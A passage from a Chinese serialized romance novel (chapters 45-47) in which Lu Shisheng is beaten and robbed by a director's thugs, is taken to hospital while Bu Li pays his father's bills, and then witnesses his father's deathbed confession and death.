步梨跟着他往回走,她感觉自己的心跳还没恢复正常,深深吸了两口气,心有余悸道:“刚刚有惊无险,幸亏你及时出现。” 吴延笑了笑,“不用,都是老同学,帮忙是应该的,不过要是你真想谢我,今晚有空吗,一起吃个饭?” 步梨愣了愣,点头应了声,“好。” 45. 江北重逢 晚上九点,陆时生结束了酒吧的工作。 他换完衣服,跟经理说了声再见,便立刻赶去了肿瘤医院。 陆望潮在ICU住了三天还没出来,陆时生担心得紧,虽然知道他去了也是没用,但每天还是要去看他一眼,他心里有种不太好的感觉,不管他和陆望潮过去有多少恩恩怨怨,毕竟父子一场,如今大概已是看一眼少一眼。 从酒吧后门出去便是一条小巷,路边是错落的老房子,住了几户人家,门口有昏黄的灯光亮着,光亮很弱,在浓稠的夜色里微乎其微地亮着,像是快要燃尽的蜡烛。 一条弯弯曲曲的小巷,一侧是窄小破落的人家,一侧是声色犬马与灯红酒绿,两个世界紧紧挨着,中间却又像是隔了一堵隐形的高墙,互无往来。 身后不知哪里有窸窣细碎的声音传来,陆时生下意识加快了脚步,后面的声音也愈发张狂,很快也不再掩饰,急促地跟上来。 陆时生一个转身,躲过了身后的突然袭击,但不容他再次反应,一记重拳狠狠地砸在了他脸上。 陆时生后退几步,后背狠狠撞在斑驳坚硬的石墙上,胸口顿时如要炸开一般,五脏六腑几乎都移了个位,起身的时候,嘴角渗出暗红的血迹,他来不及处理,随便抹了一把,眼前已经有五六名壮汉围了上来。 “你们是谁?” 一道熟悉的声音从旁边传过来,“好久不见啊,陆小兄弟。” 右手边的两名壮汉侧了侧身子,让出一个小道来,刘默笑容狡黠地望着陆时生,脸上满是得意,“都一个月了,钱筹到了吗?” 陆时生冷声问:“什么钱?” 刘默背着手站在路灯下,矮小的身影在路灯下投出扭曲的影子,他像个幽灵一样阴森开口,“违约金啊,六十万。” “你们干着违法的勾当,骗我签了合同,如今还想要违约金?” 刘默扬了扬音调,“合同是你自己签的,哪里骗了?陆时生,我知道你身上有几分功夫,但今天你就是关公转世也逃不掉,惹到了我,日子别想好过!” 他咬着牙做出一个笑容,说完后退几步,身旁都是他雇来的专业打手,那几个大汉很快会意,直接扬了手里的棍子冲上去。 这群人像野兽一样,撕扯、纠缠,讥讽与嘲笑声在耳边响起,棍棒像是从山体滑落下的碎石,猛烈地撞击过来。 陆时生的后脑撞在了一块凸出的尖石上,顿时大脑嗡嗡作响,仿佛置身无尽的黑暗。身子倒下去时,他本能地护住要害,双手抱头蜷缩在地上,身体贴着冰冷的地面,混乱中,有一股浓重的血腥味翻涌而来。 陆时生疼得浑身颤抖,全身的骨头像是碎了,连呼吸都伴随着刺骨的痛,他极力忍耐着,背后被人狠狠踢了一脚,陆时生的胸腔顿时气血翻涌,生生吐出一口血来,他挣扎着爬起来,手掌撑着地面跪在地上想要起身,还没来得及喘息,那人便踩着他的脊梁骨生生将他压了下去,像是要碾死一直蚂蚁一样,用力踩了两下。 刘默这才让人停下来,他缓步走过来,蹲下,抓着陆时生的头发迫使他抬起脸,泥土与血迹混在一起,消融在夜色中看得不是很真切,刘默便掏出手机,打开了后置的手电筒照在他脸上。 陆时生被这直射而来的光线照得睁不开眼,却动弹不得。 刘默看着他这副可怜破碎的模样,凌虐之心大起,他故意照着他的眼睛,兴奋地大笑出声,边笑边讥讽着,“陆时生,你这脸蛋还真是仙品啊,都被打成这样了,居然还能这么美,你不跟着我演戏,真实太可惜了,我再给你一次机会选择一次。” “你......你这个......”陆时生艰难地吐出一句,“变态!” 刘默缓慢露出一个嘲讽的笑,“不知好歹!” 他手上狠狠一甩,啪地一声给了陆时生一掌,起身道:“搜一下他身上有没有钱。” “有个信封!” 刘默把信封接过,在里面发现了一打钱。那是今天陆时生刚领的工资,准备给陆望潮交医药费的。 刘默丢了信封,把钱放在了自己兜儿里。 陆时生突然瞪起双眼,“把钱给我!” 刘默皱着眉头俯视着他,“怎么?你欠我六十万,这点钱才哪到哪?剩下的我过两天还会来要的!” 陆时生挣扎着去够,够了半天,身子沉重如山,只能抓住他的裤脚,“你要六十万,我以后给你,这点钱你也看不上,先给我!” 刘默来了兴致,猥琐地看着他笑,“那你求求我啊。” 陆时生仰头看着他,“那是救命的钱,你先给我。” 刘默挑了下眉毛,声音里尽是玩味,“救命的?那就更有意思了,你求我,我就给你。” 陆时生低了低头,过了很久,他张了张口,认命般地,艰难地吐出几个字,“求你。” “刘导,我求你。” “把钱给我......” “求你了......” “你要拍的东西,我也给你拍......” “哈哈哈哈,陆时生,你怎么不硬气了?你知道自己现在是一副什么样子吗?敬酒不吃吃罚酒!你是长得好看,但我这儿最不缺的就是长得好看的人!” 陆时生没再看他,也没出声,他不敢想象此刻的自己到底是一副什么样子,只知道他正以一副极其卑微可怜的姿态求人。 他恨自己这么无能,这么卑微。 刘默怎么可能看得上这千八百块?他只是知道陆时生缺钱,像拿他玩笑一番罢了。所以就算这些钱对他来说不值一提,他也偏要拿走。这就是反抗他的人应有的结局。 “你没机会了!”他扬脚一踢,将陆时生狠狠甩开,又特意绕到陆时生左腿的地方狠狠踹了两下。 陆时生闷哼一声,钻心的痛传来,大概他的?腿已经废了,这个念头在他脑子里一闪而过,他便又想起来刘默还没有将他还给他,他疯狂地喊着: “你站住!” 刘默带着人很快走远了,只留下满地的狼藉和一个空空的信封。 陆时生努力站起来,脚下却跟踩了棉花,软软地失了重力,没走出一步便重重载了下来,他下意识伸手去抓,到最后,手里却只有一把混着血水的泥土。 萧瑟的寒风里跟藏了针似的,朝着脸生生刮来。 他的身体,连带着所有尊严,都在这一刻被摔得七零八落,再也拼凑不起来。 漆黑的夜里,陆时生眼前却一片白,像是被埋在一片大雪里,厚重的寒冷压在身上,每个毛孔都被冰冷侵占,这种感觉似曾相识,似乎在何处也经历过这么一番。 他在地上躺了很久才有了起身的力气,光是爬起来就废了他大半的力气。 陆时生扶着墙喘了很久,才发觉他的手机一直在响。 陆时生接起电话,“哪位?” 一道温柔的女声传来,“陆先生吗?这边是江北市肿瘤医院的缴费处,根据医院的规定,若是您今晚没办法缴费的话,您的父亲就不能继续住在ICU病房了。” 陆时生目光暗了暗,“能不能再宽限几天?” “不行,医院有规定,今天是最后的日期了,而且我们之前已经通知过您几次了。” “知道了。” 陆时生像是个机器人一般,机械地回了一句,然后麻木地挂了电话, 痛感在全身疯狂地扩散蔓延,到最后他也说不上哪痛,唯一清晰的感觉便是头疼,他头疼得厉害。 ... 陆时生实在没力气,支撑着身子走了两步,在巷子口一块石头上坐了下来。 就算他能走,现在也不知道该去往何处。 他不敢去医院。 他拿不出钱,去了成什么了?去看陆望潮被推出ICU病房,然后一点点断气吗? 可不去医院,又能去哪? 回他那间窄小破旧的地下室大睡一觉? 陆时生,你父亲躺在重症病房里昏迷不醒,你却要回去睡觉吗? 你怎么敢呢? 陆时生笑了一声,脑子里忽然有一个声音响起。 “救他干嘛呢?是他自己想死。” “他整日躺在病房瘦得不成样子,就真的好受吗?” “一个一心求死的人,不如放手让他去罢,何必这么折磨自己?” 陆时生感觉自己又回到了那个白雪皑皑的严寒之地,无数个尖锐冰冷的声音对他说,“救他干嘛呢?是他自己想死!” 这声音很冰冷,很陌生。 到底是谁? 陆时生被风雪压得喘不过气来。 他恨自己为什么会听到这种声音。 那是自己的亲生父亲,对他再不好,也是生他养他,在病房里照顾了他一年的亲生父亲! 陆时生捏着自己腿上的伤口,狠狠地按压下去。 疼痛让他清醒,也成了他唯一的慰藉。 他就应该疼。 他活该这样。 “喂!你谁啊!在我家门口做什么?”一个尖锐的声音在耳边响起,“这什么啊这么脏!” 女子捂着鼻子嫌弃地后退了两步,以为是脏污的泥水。 陆时生抬起头说了声,“抱歉。” 借着路灯投下来的光,女子看清了他的脸,她愣了愣,感觉这人怪好看的,一时心跳有些加速,语气也缓和了几分,“你怎么了?” “诶呀!怎么流血了?你等我一下啊。”女子尖叫起来,跑着进了屋子,没多久,她拎着一个医药箱走了过来,从里面翻找出碘伏还有棉签,要给陆时生上药。 她手到半空又停了下来,“我不太会给人处理伤口,要不我还是送你去医院吧。” “不用了。” “你这是跟人打架了?”女子凑近了之后才发现眼前这个人的伤比她看到的严重得多,他脸上胳膊上都是大大小小的伤痕和淤青,衣服上好几块也渗出血来,她受惊般的喊出声,“你都伤成这样了,怎么能不去医院呢?” 陆时生没抬眼,冷冷地说了句,“ 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不知道这冷风能不能把他的心冻得跟石头一样硬,或许那样就不会这般心疼了。 陆时生咬着牙往前走,半路好像有人过来问他需不需要帮忙,陆时生听得不太真切,他耳朵好像聋了,一直嗡嗡地响,陆时生摇了摇头,示意不用, 前面应该就是医院了,陆时生抬头去看的时候,眼前却是一黑,人直接往前栽了下去。 ...... 蓝海巷是江北市中心最繁华的商场之一。 吴延在蓝海巷选了一个高档的法国餐厅,邀请步梨一块吃了晚饭。 原本是步梨来请客的,毕竟是她欠吴延一个人情,但出来之后,吴延突然和她说已经定好了地方,等他们到了餐厅,饭菜也都已经备好。 步梨不好意思白吃,只能说下次一定要她来请客。 吴延求之不得,绅士地要送步梨回家。 他们住得不远,步梨也没拒绝,只是临走前她接到了春云打来的电话,接起来后那边是温老爷子的声音。 “孙媳妇,你那画册我都画完了,你今儿来不来?” “真画完了?” “画完了!”温老爷子声音高昂。 他说了两句,才肯把电话交给春云,春云有些不好意思地接过话来,“步小姐,这么晚打扰您真是不好意思,但老爷子又在闹脾气,他近来身体不太好,我怕他再闹下去会出事,所以就.......” 步梨笑了笑,表示没关系。 “春姨,您跟温爷爷说,我半个小时后就到。” 春云松了口气,“那麻烦你了啊步小姐,你人真好,对了,他还给你留着橘子呢。” 步梨笑了两声,挂了电话。 “是有事吗?”吴延问道。 步梨点点头,抱歉道:“我要先走了,去趟医院看望一个...小朋友。” “那我陪你一块去吧。” 步梨连忙摇头,要是让温老爷子看见她带个陌生男人去了,温老爷子不得当场跟她闹啊。 “不用了,他不乐意见生人,这里离医院很近,我自己打车过去就行了。” 吴延没再执着,只说:“那好吧,下次见。” 步梨打了个车,很快到了医院,她刚下车,就见到前面临近十字路口的路边围了很多人,有人在小声议论着。 “要不要叫救护车啊?” “这医院不就在旁边吗?要不咱们把他抬过去?” “你抬吗?我可不敢动他。” “别动别动,我有医生的电话。” 步梨走过去望了一眼,满地都是触目惊心的鲜血。她看不下去这般惨状,下意识地想把目光移开,可下一秒,目光扫过那张脸。 那人的半张脸都染了血,可步梨的目光却被钉在那里再也无法移开。 一瞬间,死寂许久的心脏再次猛烈地跳动,她撞开人群冲了上去,“陆时生——” 她刚碰到陆时生的脸,就沾了满手的血。 步梨不停喊着他的名字,陆时生缓缓睁开了眼,他看了步梨一会儿,以为自己还在梦里,“步梨......” 他低声唤了一句,然后推开她,艰难地站起身来要走,刚踉跄着迈出一步,就又跌了下去,步梨心里一惊,眼疾手快地将他扶住。 旁边有位好心的大妈操心地劝道:“小伙子,你别乱动啊,医生马上就来了!” 步梨扶着他,在他耳边轻声地安慰:“陆时生,你等一下,医生马上就来了。” 陆时生这才缓缓恢复意识,他看着眼前的人,辨认了一会儿到底是梦境还是现实,四面嘈杂的声音让他头疼得厉害,他确定了这不是梦。 陆时生张了张口,他嗓子很哑,花了点力气才发出了声音:“步梨?” 步梨狠狠点了点头。 下一秒,陆时生慌忙地将步梨推开,“你认错人了!” 46. 怎么会喜欢我这样的人 陆时生再次醒来是在病房里。 一股消毒水的味道传入鼻腔,他感觉头隐隐作痛,想不起晕倒前发生了什么。 不知道是哪个好心人把他送到了医院,病房里很安静,柔和地光线从窗户透进来,有一道光打在脸上,有些刺眼。 已经是白天了么? 陆时生怔愣了一会儿,蓦地惊觉他好像睡过了头,他坐了起来,拔了手上的针头。 “你干嘛?还没输完呢!” 步梨刚一进门,就见到陆时生正在拔针头,她急忙跑过去阻止,但还是晚了一步,鲜血从他手背冒出来,顺着手背滴落下去。 陆时生环顾四周一番,发现自己所在的地方的是单人病房。他知道自己近来的精神状态不好,但他终究分得清梦和现实,晕倒前的画面渐渐涌入脑海。 偌大的江北,他还是碰到了她。 在他最狼狈脆弱的时刻,最不堪一击的时刻,她就像是救世主一般,再次出现到了他面前。 步梨焦急地去喊大夫,陆时生阻止道:“不用了。” 他匆匆道:“我还有事,得先走了。” 步梨坚决道:“不管什么事,你都得在这里输完液再走。” 步梨头一回见到一个人能把自己搞成这个样子,一身的伤,外加高热,几乎烧到四十度,医生说晚来一步就可能有生命危险,今天一醒就拔针往外冲,实在让人头疼。 陆时生想要出门,可抬起脚又有些退缩。 他在懊悔,在恐惧。 他不敢去看陆望潮,已经过了缴费的最后期限,他已经被移出ICU病房了吗? 都怪他...... 他为什么睡了这么久? 可能他就是一个懦弱无能的胆小鬼,潜意识里想逃避现实,所以才一觉睡到现在。 “步梨......”陆时生不知该如何开口,重复着喊了一遍她的名字,“步梨,我没办法......” 步梨看着他平静地说道:“陆叔的病情已经稳定住了,等你输完液再去看他也不迟。” 陆时生愣了愣,“你......都知道了?” 步梨点点头,“那天你的电话一直想,我就帮你接了一下,钱我已经帮你交了,陆叔不会被转出ICU病房的。” 陆时生松了口气,心里却有种别样的感觉渐渐发酵,他移开眼,没再说话。 步梨从包里掏出一张黄色的缴费明细单交给陆时生:“这钱是我借你的,你以后必须得还给我。” 陆时生看了一眼,把明细单折了两下放好,“钱我会还你的。” 步梨算账算得很细致,一分钱都不落下,“还有你自己的,这间病房一天两千,你在这里睡了三天,别忘了一起还。” “三天?”陆时生皱了下眉,他没想到竟然过了三天,“我住不起这么贵的病房。” “谁让你晕了自己选不了,现在钱都交过了,药也开了,你要是不输液也行,但钱依然要还给我。” “知道了。”陆时生坐回到床上,他头又开始疼,有些站不住。 步梨淡淡说了句,“不着急,我不缺钱,也不给你要利息。” 有护士进来重新给陆时生输了液,冰冷的液体从手背一点点渗进皮肤,他整个右边的胳膊都是冰凉的。 步梨把一个粉色的热水袋放在床边,压着输液管,药液流过热水袋迅速暖了起来。 “你输完液,如果能走的话,就自己走吧,要是还觉得不舒服,不想走,也可以继续住,转去普通病房也可以,反正身体是你自己的,我去上班了。”步梨把桌上的绘本和笔收进包里,陆时生看着她把自己的物品一一收好,这才想到她昨天是一直守在这里吗? 她看着似是没休息好,额前有零碎的发丝垂下来,眼下乌青,嘴唇也没有血色,清冷的阳光照在她脸上,衬得她皮肤白皙如雪。 步梨把一个巨大的帆布包挎在肩上往外走。 “步梨,”陆时生开口叫住她,声音暗哑低沉,他笑了一声,像是自嘲,泛着苦涩,“你怎么会喜欢上我这样的人?” 步梨停住脚步,眼神暗了暗。 半晌,冷声开口,“陆时生,我现在,不喜欢你。” ...... 步梨从陆时生那里离开,去看了温老爷子。 前天她也来过一次,但温老爷子已经睡着了,春云说他最近觉很多,一天也就只有三四个小时是醒着的。 在病房门口,她听到屋里有人在聊天。 一位妆容精致优雅的中年女士坐在沙发前,正和温老爷子的护工春云聊着什么。 春云叹着气忧心道:“老爷子最近情况似乎不是很好。” “问过大夫了,大夫说只能用药拖一拖。夫人,还有一件事,”春云犹豫了一下,迟疑着开口,“您别嫌我迷信,但这两天,老爷子嘴里总是念叨着说见到了温少爷,您说这是不是有什么征兆啊?” 她声音压得低,说话时还忐忑地瞥了眼躺在床上闭着眼的温老爷子,生怕有什么不干净的东西。 叶澜脸上的神情明显怔愣了一下,随即转为一贯的从容,“老爷子想自己孙子了罢了。” 春云抿抿嘴,没再说什么,心里还是暗暗地后怕,只有将死之人才会有可能见到死去的人,八成是温少爷要来把老爷子唤过去了。 叶澜察觉她神情异样,正要提醒她几句,这时有人敲了敲门,一个女生走了进来,“您是叶阿姨吗?” 叶澜看了她一会儿,眼底泛起柔和的笑,“是步梨吧,思筝经常和我提到你,最近回江北了?” 步梨点了点头,“我来看看温爷爷。” 许是听到了些动静,温老爷子这时候醒了,看着步梨咧嘴笑,他从床头翻出一个画册,炫耀般的给步梨看。 画册被温老爷子涂得五颜六色,步梨笑呵呵地说他画得好,老爷子笑得合不拢嘴,露出仅剩的两颗牙,显得有些孤独。 他含糊地念叨着什么,步梨听了两遍,才听清楚他是在问画册里的风景是哪。 步梨笑着说:“这个地方叫花溪镇。” 她拿出手机,找出了几张相片,有花溪镇绵延的海岸线,村子里错落的房子,还有她的老房子。 温老爷子看着那张老房子的照片开心地笑,步梨注意到那里面还有陆时生的侧影,隐匿在树影里,前段时间她把好多陆时生的照片都存到了一个硬盘里,这张算是漏网之鱼。 一张照片从画册的夹页里掉了出来,落在地上,步梨将它捡起来,是很早之前的老照片,表面有点褪色。 叶澜走过来看了两眼,笑着问温老爷子,“爸,这照片是三十年以前的了吧。” 温老爷子点着头笑。 照片里的中年男子身穿军装,看起来十分英气。步梨的目光在照片上定了几秒,忽然觉得眉眼似乎有些熟悉。 陆时生...... 又想起他来了。 她感觉温老爷子年轻时的样子和陆时生有七分相似,脑子里冒出个不切实际的想法,随即又被否掉。 她刚才居然在想温故会不会还活着。 可随之又觉得自己的想法可笑。沈思筝去花溪镇找她的时候,是见过陆时生的,所以陆时生根本不会是温故。 “这张照片能不能送给我?”步梨想要照片,倒不是因为像陆时生,她是想拿回去,给温老爷子画一幅画。 她从手机里翻找出她给吴向荣画的写真,柔声问:“您看这个好看吗?我给您也画一张好不好?” 温老爷子还是笑,步梨见他没反应,猜测着应该是答应,她又看了眼叶澜,叶澜笑着说:“他期待着你能给他画呢。” 步梨把那张照片小心翼翼地收了起来,“下次来看您,我就把画给您带过来。” 她又和叶澜聊了几句,便告别回了家去。 叶澜把她送到门口,转过身时眼底蒙上一层淡淡的失落,“这孩子真好,只可惜我们温家没那个福气。” ... 陆望潮虽脱离了生命危险,但一直没有醒。陆时生每天输完液,都会在病房外往里望一会儿,见他还躺在那里呼吸着,心里才有几分踏实的感觉。 他输了几天液,身体状况转好后,便重新回去工作。 快递站的站长刘国庆知道他病了,不仅没扣他工资,还关心他的身体。 “小陆啊,不行就再多休息几天,咱都有病假的。” 陆时生其实还有些低烧,但只是有点累而已,不妨碍工作,他休息不起了。 “没事,我能送。” 刘国庆点了点头,“今天罗新帮你去送你的片区了,你去送月亮湾的吧。” “好。” 陆时生将快递装好车,一路到了月亮湾。 这是个高档小区,小区里的绿化很好,周边安静,道路平整,每家每户的位置很容易找。 陆时生将一部分快递放到了投放点,然后挨家去送需要上门送到的快件。 门打开时,他抬眼的时候愣了愣,惊讶片刻后,佯装淡定地说了句,“早。” 步梨也没想到,回到江北,还能再次遇到陆时生,又是亲自将快递送货上门,她笑着回了句,“早,这么巧?” 陆时生点点头,没有过多废话,“手机尾号是1123?” “谢兰珍女士的。”步梨点点头,“是我姥姥的。” 谢兰珍一大早出门去参加社区搞得老年活动,便让步梨代收一下。 “给。”陆时生将快递箱递搬过来。 步梨看这箱子不小,猜测这里面应该是谢兰珍买的猫架子,她前两天念叨着养猫来着。 “有点重,要我帮你搬进去吗?”陆时生问。 步梨点了点头,示意他可以进房间。 陆时生将快递箱放在了门口,没进去。 “你病好了吗?”步梨见他脸色不太好,随口问了一句。 陆时生点点头,“上次多谢你了,医药费我会尽快还给你。” “不客气。”步梨道,她抬眼,见到陆时生额头上有细密的汗珠,便抽了张纸巾递过去。 “你以后负责往这边送快递吗?”她问。 陆时生摇摇头,“不一定,今天是临时接了其他人的活儿。” “这样。” “那我先走了。”陆时生说。 步梨其实有些问题想问他,但话到嘴边又咽了下去。 她作罢。 正要关门,见到陆时生似是踉跄了两步。 “怎么了?”她走过去问。 陆时生扶住门框,感觉眼前一阵眩晕,胃里也泛恶心。 步梨扶住他,“你是不是病没好就出来工作了?” “有点低血糖罢了。”陆时生弯下身子,缓了一会儿。 这么几秒钟的时间,陆时生出了一身虚汗,他在原地缓了一会儿,眼前的逐渐清明,“没事,我自己能走。” “在我家歇一会儿吧。”步梨望着他,开口。 陆时生抬头看她,有些惊讶。 步梨淡淡道:“没别的意思,我就是一个普通的好心人罢了。” 陆时生顿了顿,没拒绝。 他其实已经缓过来了,但还是没离开,他是想在这里多待一会儿。 这房子比花溪镇的还要大,装修也更现代化,陆时生站在门口显得有些无措,“要换鞋吗?”他问。 “不用,进来吧。”步梨给他倒了杯果汁,让他自己在沙发上坐会儿,自行休息。 “这是你第二次在我面前晕倒了,我可不希望遇到第三次。” 陆时生迟疑了会儿,开口:“之前和你说的话,我很抱歉。” 步梨露出一个自然的笑,“没什么可抱歉的,而且我都已经忘了。” 两人沉默了一会儿,步梨觉得,有些事她还是想问明白。 “你之前说不喜欢我,是不是假话?是因为陆叔的事吗?” 陆时生没否认。 “所以你喜欢我,对吧?” 陆时生点了点头,他没有再隐瞒的必要。 “但我们......” “我知道。”步梨打断他。 她也知道,她和陆时生大概没办法继续下去了。而且,她更清楚地知道,自己没办法和陆时生做普通朋友,所以,以后还是不要有交集为好。 “那我就先不打扰了。”陆时生没再多留。 “稍等一下。”步梨喊住他,去厨房拿来了一瓶热牛奶和一个牛皮纸袋,里面包着一个热乎乎的酒酿馒头。 “你来得巧,我刚才正好在做早饭,你应该还没吃吧,带着路上吃吧。” 陆时生犹豫了一下,接了过来,“谢谢。” 他将其余的快递送完,在路边的树荫下找了个长椅。 牛奶已经凉了,白软软的酒酿馒头还有些余温,他咬了一口,带着麦香和微微的甜,在舌尖化开,暖呼呼地滑进喉咙。 明明口感是好的,但陆时生却忽然觉得难以下咽。 因为他想到,将来的某一天,会有一个别的男人,吃到步梨做的早饭。 他发现自己无法接受这件事,只是想象就觉得心堵。 晚上,陆时生去了酒吧。 周末的酒吧比往常热闹。陆时生脸上青一块紫一块的还没消退,便戴了 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阿奇道:“好像让你送个人。” “好,那这儿交给你了。” 陆时生说完,久去找了于经理。 于美芝正在卡座,扶着一名喝得烂醉的女子坐下,见陆时生来了,急忙向他招了招手。 “小陆,你过来一下,这是沈小姐家的地址,你会开车吧,一会儿送她回去。” 陆时生见于姐这般上心,看了眼地址,高档别墅区,便知道这位沈小姐的身份不一般。 他点了点头,接过于姐递过来的车钥匙,车标是法拉利。他明白于美芝为什么要让他亲自送了,估计这是一位尊贵的VIP客户。 于美芝帮忙把人扶到了车子后座,陆时生上车前,于美芝朝着她若有深意地笑了笑。 “沈小姐今天不太开心,路上她要是醒了,你哄她两句,对了,她男朋友最近好像在外地出差哦。” 陆时生眼睫颤了颤,“于姐,您别取笑我了。” 于美芝笑着拍了拍他的肩膀,“诶呀,开个玩笑,我还不知道你是什么样的人?不然也不会把沈小姐交给你,你路上小心点哈。” 陆时生上了车,稳稳当当地起步,摇下车窗跟于姐道了声别。 他头一次开这么好的车,但好像格外地顺手,像是曾经开过一样。凌晨的马路上车很少,他挺想开着车在空旷的城市里多绕两圈的。 他看了眼后视镜,沈小姐坐在后座,脑袋半歪着垂下,睡得很熟,陆时生最终还是选择了最近的路,开到了蓝港别墅区。 “沈小姐。”他开口喊了她一声。 后面的人没反应,陆时生便等了一会儿,又喊了她一句,那位沈小姐才慢腾腾地睁开眼,眼神迷离地往四周望了望。 陆时生下了车,帮她把车门打开。 “沈小姐,你家到了。” 女子慢腾腾地往外挪了挪,好半天脚才沾了地,下车前她抬了抬头,目光在陆时生身上扫了一眼,不禁皱了下眉。 “温故......温小新......” 陆时生没听清她在嘀咕什么。 女子呆呆地看了他半天,一阵沉默过后紧接着是可怜又委屈的呜咽,她哭得泪眼婆娑,伸手想要去摘陆时生的口罩,嘴里还骂着:“你这些年死哪去了?” 陆时生不明所以地往后退了一步。 “?” “抱我一下。”女子双手扬起来,想要把自己挂在陆时生身上。 陆时生浑身一僵,又后退一步,“沈小姐,我就是个代驾,没法提供这种服务。” 女子扑了个空,差点摔倒,她的包掉在了地上,里面的东西掉落出来,有她的化妆镜,镜面直接被摔碎了,女子抬起头愤怒地看着他,“温故!你是不是有病?!” “沈小姐,你认错人了,我是于姐找来送你回家的代驾。”陆时生平静地重复了一次。 他帮忙把她的包捡了起来,还有一支滚出去几步远的口红,也一并捡了回来。 女子看着他一瘸一拐地去捡东西,心里叹了口气。 这么瘦,脸上还有淤青,对她还冷冰冰的。 不是温故,是个可怜的瘸子..... 她使劲眨了两下眼睛,又盯着陆时生的脸左右看了一番,最终扶了扶额头,懊悔地说:“我喝醉了,温故早死了,你......你说你是啥?代驾?” “嗯。”陆时生点点头。 女子揉了揉眼睛,从包里掏出一打钱,也没数,直接塞给了陆时生。 “你的代驾费,谢了。” 说完,扭头往大门口走。 “不用这么多.....”陆时生喊了句。 女子没回头,只是晃了晃胳膊,颤悠悠地往前走,“不用找了。” 陆时生捏着那厚厚的一叠钱,不用数就知道这不是一个小数目,远远超过了她应付的代驾费用。 若是以前,他会直接冲上去,把多的钱塞给沈小姐,但现在,他犹豫了一会儿,收下了。 这个世界真是不公平,有的人挥金如粪土,有的人辛辛苦苦赚钱只为了活命,却被千百般地阻挠。 既然这钱是客人愿意给的,他又为何不收? 而他也渐渐知道,在这个世界生存下去,不仅需要顽强,也需要妥协。 他抬头望了望,顾客沈小姐已经安全到家。 凌晨的小区里很安静,四下没什么人,又是在高档小区,治安应该很好,陆时生安心下来,在街边的路灯下停了会儿,数了数手里的钱,足足有一千三百块,能抵不少天的医药费,而这点钱他要送一千多个快递件。 陆时生将钱收好,仔细地放进兜儿里。 这个时间已经没有公交车了,他不太想打车,于是在路边开了辆共享单车。这时手机响了,是安大夫打过来的。 这个时间接到医院来的电话,陆时生心不自主地颤了一下。 寂静的深夜,安大夫声音平静,“陆先生,您父亲醒了,他要找你。” “哦,好,那我现在过去。” 陆时生如释重负般松了口气,想着陆望潮昏迷了好几日,如今终于醒过来的,不知道他找他过去,是不是又要闹着回花溪镇去。 肯定是。 陆时生在心底笑了笑他,人老了果然就成了老小孩。 回神时,他才发现安大夫那边一直没挂电话,陆时生又问了句,“安大夫,还有其他事吗?” “陆先生,”安大夫顿了一下,清晰的声音从听筒里传来,“您做好心理准备,这应该是最后一面。” 47. 被抛弃的人 步梨躺在床上给沈思筝连发了好几条消息。 “筝,我遇见陆时生了。” “有些日子没见,他瘦得都没人样了。” “虽然他瘦不瘦跟我也没关系,但他爸爸生病了,挺严重的,我就借了点钱给他。” “我是不是真的很圣母心啊。” “唉我没救了怎么办?” “人呢?” 步梨给沈思筝发了好几个微信都没得到回应,打电话也没人接。 她有点失落,但又想到沈思筝这个职业,经常给病人做手术,也能理解。 步梨翻来覆去,半天也没睡着。 今天下午她接到了安宏远打来的电话。 安宏远跟她说,他打听到了陆时生的一些事情。 “步梨,你还和陆时生在一起吗?我今天和你说的话并没有贬低或诋毁的意思,只是一些我问到的其他人对陆时生的客观评价。” “陆时生这个人怎么说呢?因为家庭的问题,他有着比较严重的自残行为和暴力倾向。听说是家里人对他的管教很严,所以造成他达不到目的时,情绪就会很激动,甚至自残,后来渐渐地开始对别人也做出极端行为,还曾因一门课程不及格,央求老师不成,竟把那位老师的脑袋打破了。” “步梨,我觉得你可能还是要谨慎一些的,虽然他现在失去了从前的记忆,但我认为,有些东西是刻在基因里的。” 步梨心乱如麻,她沉默了一会儿,和安宏远说了谢谢,然后挂断电话。 她想起陆时生胳膊上的伤痕,是自残吗? 还有他这次来江北,浑身的伤,医生说是打斗留下来的,到底发生了什么,她那天没问,现在却控制不住自己去想这些事情。 她给沈思筝发了消息过去求助,一直到半夜快两点钟,沈思筝才回了她的电话,听声音明显是喝多了。 “步梨,我今天见到死人了。” 上来就是这么一句惊悚发言,搞得步梨背后发凉。 “算了,等你明天酒醒了我再找你聊吧。”步梨劝了她两句以后少喝酒,然后挂断了电话。 她将通讯录往下翻了很久,找出那个曾经置顶的聊天框。她知道不应该,但身体还是止不住地想要靠近。 最终,她输了几个字进去,“陆时生,我们找个时间聊聊吗?” 发送。 步梨翻了个身,仰头看向天花板。 ......陆时生,你不该在这个时候出现的。 在她还没有将他忘记的时候,还没有将之前的感情全都倾倒出去的时候。 他怎么可以在这个时间出现? ...... 医院。 陆望潮将头缓缓转向陆时生。 他看了他一会儿,目光里透出前所未有的柔和。 “陆时生......” “陆......不,你过来......” 他要陆时生靠近一些,喊他的时候,却似乎不是很想叫出他的名字。 陆时生往前移了半步,陆望潮声音很低,气息很弱,陆时生这个距离,大概能听得清。 这么多年,他其实一直没适应同陆望潮靠得太近。 陆望潮没再勉强他靠近,只低低地开始说话。 “我没疯,也没傻,之前说的话也不是疯话,你确实不是我儿子,只是我捡回来的孩子,你也不叫陆时生,陆时生是我儿子的名字,他早死了。” “我对不起你,是我当年自私,困了你这么多年,所以现在我这样是活该的,你也不用太伤心,等我死了,你也不用给我披麻戴孝,找个地方把我埋了就行,对了,最好是坟场的最东边。” “就算你不是我儿子,老家的房子还是归你的,除了那房子,我也没给你留下什么东西,对了,我床底下有个盒子,里面有你的东西,你回家后,一定要记得去找。” “找到以后,你就回你的江北去吧,别在花溪镇那个小地方了,那里不是你的家,你不属于那里。” “我在花沟县医院的时候,那桂香老太太还瘸着腿看过我好几次呢,老太太不容易,我知道你老帮她,你回了江北,能不能也偶尔回去看看她?算了,你自己的生活,以后就你自己说了算了。” “其实我挺希望你是我儿子的,你比他懂事多了,我儿子小时候也很懂事,但后来就长歪了,变坏了,有我的一半责任吧,还有另一半是他妈的,算了,我的责任占百分之八十吧。” 他说了很多没用的或是没头没尾的话,比这几年父子俩相处期间一共说得话还多。 陆时生一直默默听着,没有难过,没有惊讶,就好像在听人讲一个故事。 陆望潮一直说,他便一直听,直到陆望潮的声音越来越弱,弱到几乎听不清,到后来,在一阵静的可怕的沉默里,监护仪忽然发出长而尖锐的声音。 寂静戛然而止。 直到这一刻,他才真切地有了感觉。 那感觉说,眼前这个人走了。 带着爱与恨,带着希望与痛苦,带着家与纽带,带着所有复杂矛盾的情感,离开了。 不会再回来。 而他,被这个世界抛弃了。 陆时生梦游一般出了病房,坐电梯下来,在外面的长椅上坐下,望了会儿星空。 寒风吹过来,还能感觉到冷。 